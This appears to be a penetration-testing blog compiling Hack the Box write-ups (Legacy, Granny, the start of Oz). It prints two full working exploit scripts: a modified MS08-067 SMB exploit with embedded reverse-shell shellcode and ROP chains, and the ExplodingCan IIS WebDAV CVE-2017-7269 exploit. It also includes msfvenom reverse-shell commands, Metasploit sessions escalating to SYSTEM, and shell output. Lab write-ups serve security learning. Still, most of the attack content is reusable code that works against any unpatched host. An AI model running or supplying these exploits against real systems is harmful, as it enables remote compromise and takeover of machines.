#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer
# - Added support for selecting a target port at the command line.
# - Changed library calls to allow for establishing a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode.
#######################################################################


$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .


#######################################################################

Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish

root@kali:~/htb#

code MS08_067_2018.py

#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify

try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport

except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : https://github.com/CoreSecurity/impacket.git'
print 'PyCrypto : https://pypi.python.org/pypi/pycrypto'
sys.exit(1)

print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#'
print '# Mod in 2018 by Andy Acer'
print '# - Added support for selecting a target port at the command line.'
print '# - Changed library calls to allow for establishing a NetBIOS session for SMB transport'
print '# - Changed shellcode handling to allow for variable length shellcode.'
print '#######################################################################\n'

print ('''
$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .

''')

print '#######################################################################\n'


# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# Reverse TCP to 10.11.0.112 port 443:
shellcode=(
"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x8e\xc8\x85\xbb\x83\xee\xfc\xe2\xf4\x72\x20\x07\xbb\x8e\xc8"
"\xe5\x32\x6b\xf9\x45\xdf\x05\x98\xb5\x30\xdc\xc4\x0e\xe9\x9a"
"\x43\xf7\x93\x81\x7f\xcf\x9d\xbf\x37\x29\x87\xef\xb4\x87\x97"
"\xae\x09\x4a\xb6\x8f\x0f\x67\x49\xdc\x9f\x0e\xe9\x9e\x43\xcf"
"\x87\x05\x84\x94\xc3\x6d\x80\x84\x6a\xdf\x43\xdc\x9b\x8f\x1b"
"\x0e\xf2\x96\x2b\xbf\xf2\x05\xfc\x0e\xba\x58\xf9\x7a\x17\x4f"
"\x07\x88\xba\x49\xf0\x65\xce\x78\xcb\xf8\x43\xb5\xb5\xa1\xce"
"\x6a\x90\x0e\xe3\xaa\xc9\x56\xdd\x05\xc4\xce\x30\xd6\xd4\x84"
"\x68\x05\xcc\x0e\xba\x5e\x41\xc1\x9f\xaa\x93\xde\xda\xd7\x92"
"\xd4\x44\x6e\x97\xda\xe1\x05\xda\x6e\x36\xd3\xa0\xb6\x89\x8e"
"\xc8\xed\xcc\xfd\xfa\xda\xef\xe6\x84\xf2\x9d\x89\x37\x50\x03"
"\x1e\xc9\x85\xbb\xa7\x0c\xd1\xeb\xe6\xe1\x05\xd0\x8e\x37\x50"
"\xeb\xde\x98\xd5\xfb\xde\x88\xd5\xd3\x64\xc7\x5a\x5b\x71\x1d"
"\x12\xd1\x8b\xa0\x8f\xb1\x80\xc5\xed\xb9\x8e\xc9\x3e\x32\x68"
"\xa2\x95\xed\xd9\xa0\x1c\x1e\xfa\xa9\x7a\x6e\x0b\x08\xf1\xb7"
"\x71\x86\x8d\xce\x62\xa0\x75\x0e\x2c\x9e\x7a\x6e\xe6\xab\xe8"
"\xdf\x8e\x41\x66\xec\xd9\x9f\xb4\x4d\xe4\xda\xdc\xed\x6c\x35"
"\xe3\x7c\xca\xec\xb9\xba\x8f\x45\xc1\x9f\x9e\x0e\x85\xff\xda"
"\x98\xd3\xed\xd8\x8e\xd3\xf5\xd8\x9e\xd6\xed\xe6\xb1\x49\x84"
"\x08\x37\x50\x32\x6e\x86\xd3\xfd\x71\xf8\xed\xb3\x09\xd5\xe5"
"\x44\x5b\x73\x65\xa6\xa4\xc2\xed\x1d\x1b\x75\x18\x44\x5b\xf4"
"\x83\xc7\x84\x48\x7e\x5b\xfb\xcd\x3e\xfc\x9d\xba\xea\xd1\x8e"
"\x9b\x7a\x6e"
)
# ------------------------------------------------------------------------

# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable

#print "Shellcode length: %s\n\n" % len(shellcode)

nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000


def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret


class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()

# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os

def __DCEPacket(self):
if (self.os == '1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print 'Not supported OS version\n'
sys.exit(-1)

print '[-]Initiating connection'

# MORE MODIFICATIONS HERE #############################################################################################

if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to 
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.

self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )

self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620

self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"

return

def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print 'Exploit finish\n'

if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print '\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0]
print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445'
print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)'
print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal'
print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English'
print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)'
print ''
print 'FYI: nmap has a good OS discovery script that pairs well with this exploit:'
print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1'
print ''
sys.exit(-1)


current = SRVSVC_Exploit(target, os, port)
current.start()
root@kali:~/htb# nc -lvp 443
listening on [any] 443 ...
10.10.10.4: inverse host lookup failed: Unknown host
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.4] 1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>hostname
hostname
legacy

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : 
IP Address. . . . . . . . . . . . : 10.10.10.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

C:\WINDOWS\system32>

Author: Puckiestyle

htb-granny-nl

Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.

c:\PENTEST>nmap -sC 10.10.10.15
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-25 19:39 W. Europe Standard Time
Nmap scan report for 10.10.10.15
Host is up (0.019s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-title: Error
| http-webdav-scan:
| Server Date: Fri, 25 Jan 2019 18:36:25 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unkown
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds

Significant port 80 is open in victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.

Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found a Rapid 7 exploit for this

Without wasting time I open a new terminal and type msfconsole for loading metasploit framework and use module iis_webdav for exploiting targets system.

root@kali:~/htb/granny# msfconsole

=[ metasploit v4.17.33-dev ]
+ -- --=[ 1843 exploits - 1045 auxiliary - 320 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

Name Current Setting Required Description
---- --------------- -------- -----------
MAXPATHLENGTH 60 yes End of physical path brute force
MINPATHLENGTH 3 yes Start of physical path brute force
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path of IIS 6 web application
VHOST no HTTP server virtual host


Exploit target:

Id Name
-- ----
0 Microsoft Windows Server 2003 R2 SP2 x86


msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.15
rhost => 10.10.10.15
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check
[+] 10.10.10.15:80 - The target is vulnerable.
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] Trying path length 3 to 60 ...
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.15:1072) at 2019-01-24 20:39:46 +0100

meterpreter > ps

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 
4 0 System 
276 4 smss.exe 
324 276 csrss.exe 
348 276 winlogon.exe 
396 348 services.exe 
408 348 lsass.exe 
616 396 svchost.exe 
680 396 svchost.exe 
740 396 svchost.exe 
772 396 svchost.exe 
800 396 svchost.exe 
936 396 spoolsv.exe 
964 396 msdtc.exe 
1076 396 cisvc.exe 
1124 1076 cidaemon.exe 
1132 396 svchost.exe 
1180 396 inetinfo.exe 
1216 396 svchost.exe 
1332 396 VGAuthService.exe 
1412 396 vmtoolsd.exe 
1464 396 svchost.exe 
1604 396 svchost.exe 
1704 396 alg.exe 
1832 1076 cidaemon.exe 
1864 616 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1916 396 dllhost.exe 
2060 1076 cidaemon.exe 
2440 616 wmiprvse.exe 
2816 348 logon.scr 
3572 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
3584 616 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
3700 3572 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe

meterpreter > migrate 1864
[*] Migrating from 3700 to 1864...
[*] Migration completed successfully.
meterpreter > shell
Process 2228 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\network service

C:\WINDOWS\system32>

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit.

meterpreter > 
Background session 1? [y/N]  
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set session 1
session => 1
msf exploit(windows/local/ppr_flatten_rec) > set wait 20
wait => 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf exploit(windows/local/ppr_flatten_rec) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] Launching notepad to host the exploit...
[+] Process 2972 launched.
[*] Reflectively injecting the exploit DLL into 2972...
[*] Injecting exploit into 2972 ...
[*] Exploit injected. Injecting payload into 2972...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 30 sec ...
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.15:1077) at 2019-01-24 20:57:44 +0100

meterpreter >
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/local/ppr_flatten_rec) > sessions -l

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1076 (10.10.10.15)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1077 (10.10.10.15)


msf exploit(windows/local/ppr_flatten_rec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 2348 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system
root@kali:~/htb/granny# cat ExplodingCan.py 
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269 
#
# by @danigargu
#
#

import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys

from urlparse import urlparse
from struct import pack

REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")

def decode(data):
return data.decode("utf-8").encode("utf-16le")

def encode(data):
return data.decode("utf-16le").encode("utf-8")

p = lambda x : pack("<L", x) # pack

def rand_text_alpha(size):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(size))

def supports_webdav(headers):
if "DAV" in headers.get('MS-Author-Via','') or \
headers.get('DASL','') == '<DAV:sql>' or \
re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
"PROPFIND" in headers.get('Public','') or \
"PROPFIND" in headers.get('Allow',''):
return True
return False

def check(url):
r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
if r.status_code != 200:
print("[-] Status code: %d" % r.status_code)
return False

print("[*] Server found: %s" % r.headers['Server'])
if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
return True
return False

def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
idx = 0
junk = 60
found = False
iis_path_len = None
cur_size = max_len

assert max_len <= 130, "Max length exceeded (130)"
init_lenght = 130-max_len

while not found and cur_size > min_len:
cur_size = (max_len-idx)
to_brute = rand_text_alpha(init_lenght+idx) 
base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute

sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
sys.stdout.flush() 
try:
r = requests.request('PROPFIND', url, 
timeout=REQUEST_TIMEOUT, headers={
'Content-Length': '0',
'Host': 'localhost',
'If': base_query
})

if r.status_code == 500:
iis_path_len = (max_len-idx)
found = True
idx += 1
time.sleep(delay)

# requests.exceptions.ReadTimeout
except requests.exceptions.ConnectionError as e:
print("[-] ERROR: %s" % e.message)
break

if iis_path_len and iis_path_len == max_len:
iis_path_len = None

return iis_path_len

def make_payload(p_url, iis_path_len, shellcode):
url = p_url.geturl()
payload = "PROPFIND / HTTP/1.1\r\n"
payload += "Host: %s\r\n" % p_url.netloc
payload += "Content-Length: 0\r\n"
payload += "If: <%s/a" % url

junk = (128-iis_path_len) * 2

p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path
p1 += p(0x02020202)
p1 += p(0x680312c0) # str pointer to .data httpext.dll
p1 += rand_text_alpha(24)
p1 += p(0x680313c0) # destination pointer used with memcpy
p1 += rand_text_alpha(12)
p1 += p(0x680313c0) # destination pointer used with memcpy

payload += encode(p1)

payload += "> (Not <locktoken:write1>) "
payload += "<%s/b" % url

p2 = rand_text_alpha(junk - 4)
p2 += p(0x680313c0)

"""
Stack adjust:

rsaenh.dll:68006E4F pop esi
rsaenh.dll:68006E50 pop ebp
rsaenh.dll:68006E51 retn 20h
"""

p2 += p(0x68006e4f) # StackAdjust
p2 += p(0x68006e4f) # StackAdjust
p2 += rand_text_alpha(4)
p2 += p(0x680313c0)
p2 += p(0x680313c0)
p2 += rand_text_alpha(12)

"""
rsaenh.dll:68016082 mov esp, ecx
rsaenh.dll:68016084 mov ecx, [eax]
rsaenh.dll:68016086 mov eax, [eax+4]
rsaenh.dll:68016089 push eax
rsaenh.dll:6801608A retn
"""

p2 += p(0x68016082)
p2 += rand_text_alpha(12)
p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
p2 += rand_text_alpha(4)
p2 += p(0x680124e3) # JMP [EBX]
p2 += p(0x68031460) # shellcode address
p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
p2 += p(0xffffffff)
p2 += p(0x680313c0)
p2 += p(0x6803046e) 
p2 += rand_text_alpha(4)
p2 += p(0x68031434)
p2 += p(0x680129e7) # leave; ret

"""
rsaenh.dll:68009391 pop eax
rsaenh.dll:68009392 pop ebp
rsaenh.dll:68009393 retn 4
"""

p2 += p(0x68009391)
p2 += rand_text_alpha(16)
p2 += p(0x6803141c)

"""
rsaenh.dll:68006E05 lea esp, [ebp-20h]
rsaenh.dll:68006E08 pop edi
rsaenh.dll:68006E09 pop esi
rsaenh.dll:68006E0A pop ebx
rsaenh.dll:68006E0B leave
rsaenh.dll:68006E0C retn 24h
"""

p2 += p(0x68006e05)
p2 += rand_text_alpha(12)
p2 += p(0x68008246) # EAX val address
p2 += rand_text_alpha(4)

"""
Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)

rsaenh.dll:68021DAA mov eax, [eax+110h]
rsaenh.dll:68021DB0 pop ebp
rsaenh.dll:68021DB1 retn 4
"""

p2 += p(0x68021daa)
p2 += rand_text_alpha(4)
p2 += p(0x680313f8)
p2 += p(0x680129e7) # leave; ret

payload += encode(p2)

"""
stack restore:

90 nop
31db xor ebx, ebx
b308 mov bl, 8
648b23 mov esp, dword fs:[ebx]
6681c40008 add sp, 0x800
90 nop
"""
payload += encode("9031DBB308648B236681C4000890".decode("hex"))
payload += encode(shellcode)
payload += ">\r\n\r\n"

return payload

def send_exploit(p_url, data):
host = p_url.hostname
port = p_url.port if p_url.port else 80
vulnerable = False
recv_data = None

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(50)
sock.connect((host, port))
sock.send(data)
recv_data = sock.recv(1024)
sock.close()
except socket.timeout:
print("[*] Socket timeout")
vulnerable = True
except socket.error as e: 
if e.errno == 54:
print("[*] Connection reset by peer")
vulnerable = True
return (vulnerable, recv_data)

def main(): 
if len(sys.argv) < 3:
print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
return

try:
url = sys.argv[1]
sc_file = sys.argv[2]
p_url = urlparse(url)
shellcode = None

with open(sc_file, 'rb') as f:
shellcode = f.read()

print("[*] Using URL: %s" % url)
if not check(url):
print("[-] Server not vulnerable")
return

iis_path_len = find_iis_path_len(url)
if not iis_path_len:
print("[-] Unable to determine IIS path size")
return

print("[*] Found IIS path size: %d" % iis_path_len)
if iis_path_len == DEFAULT_IIS_PATH_SIZE:
print("[*] Default IIS path: C:\Inetpub\wwwroot")

r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
if r and r.status_code == 207:
print("[*] WebDAV request: OK")
payload = make_payload(p_url, iis_path_len, shellcode)

print("[*] Payload len: %d" % len(payload))
print("[*] Sending payload...")
vuln, recv_data = send_exploit(p_url, payload)

if vuln:
print("[+] The host is maybe vulnerable")
if recv_data:
print(recv_data) 
else:
print("[-] Server did not respond correctly to WebDAV request")
return

except Exception as e:
print("[-] %s" % e)

if __name__ == '__main__':
main()
root@kali:~/htb/granny# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.2 LPORT=4444 >shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 744 (iteration=0)
x86/alpha_mixed chosen with final size 744
Payload size: 744 bytes

root@kali:~/htb/granny# ls
ExplodingCan.py puck.sh shellcode
root@kali:~/htb/granny# python ExplodingCan.py http://10.10.10.15 shellcode 
[*] Using URL: http://10.10.10.15
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2241
[*] Sending payload...
[*] Socket timeout
[+] The host is maybe vulnerable
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.15:1105) at 2019-02-20 19:24:56 +0100

HTB – Oz

Today we are going to solve another CTF challenge “Oz” which is available online for those who want to increase their skill in penetration testing and black box testing. Oz is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Hard

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.96 so let’s begin with nmap port enumeration.

root@kali:~/htb/oz# nmap -sC -sV 10.10.10.96
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-24 14:00 CET
Nmap scan report for 10.10.10.96
Host is up (0.027s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
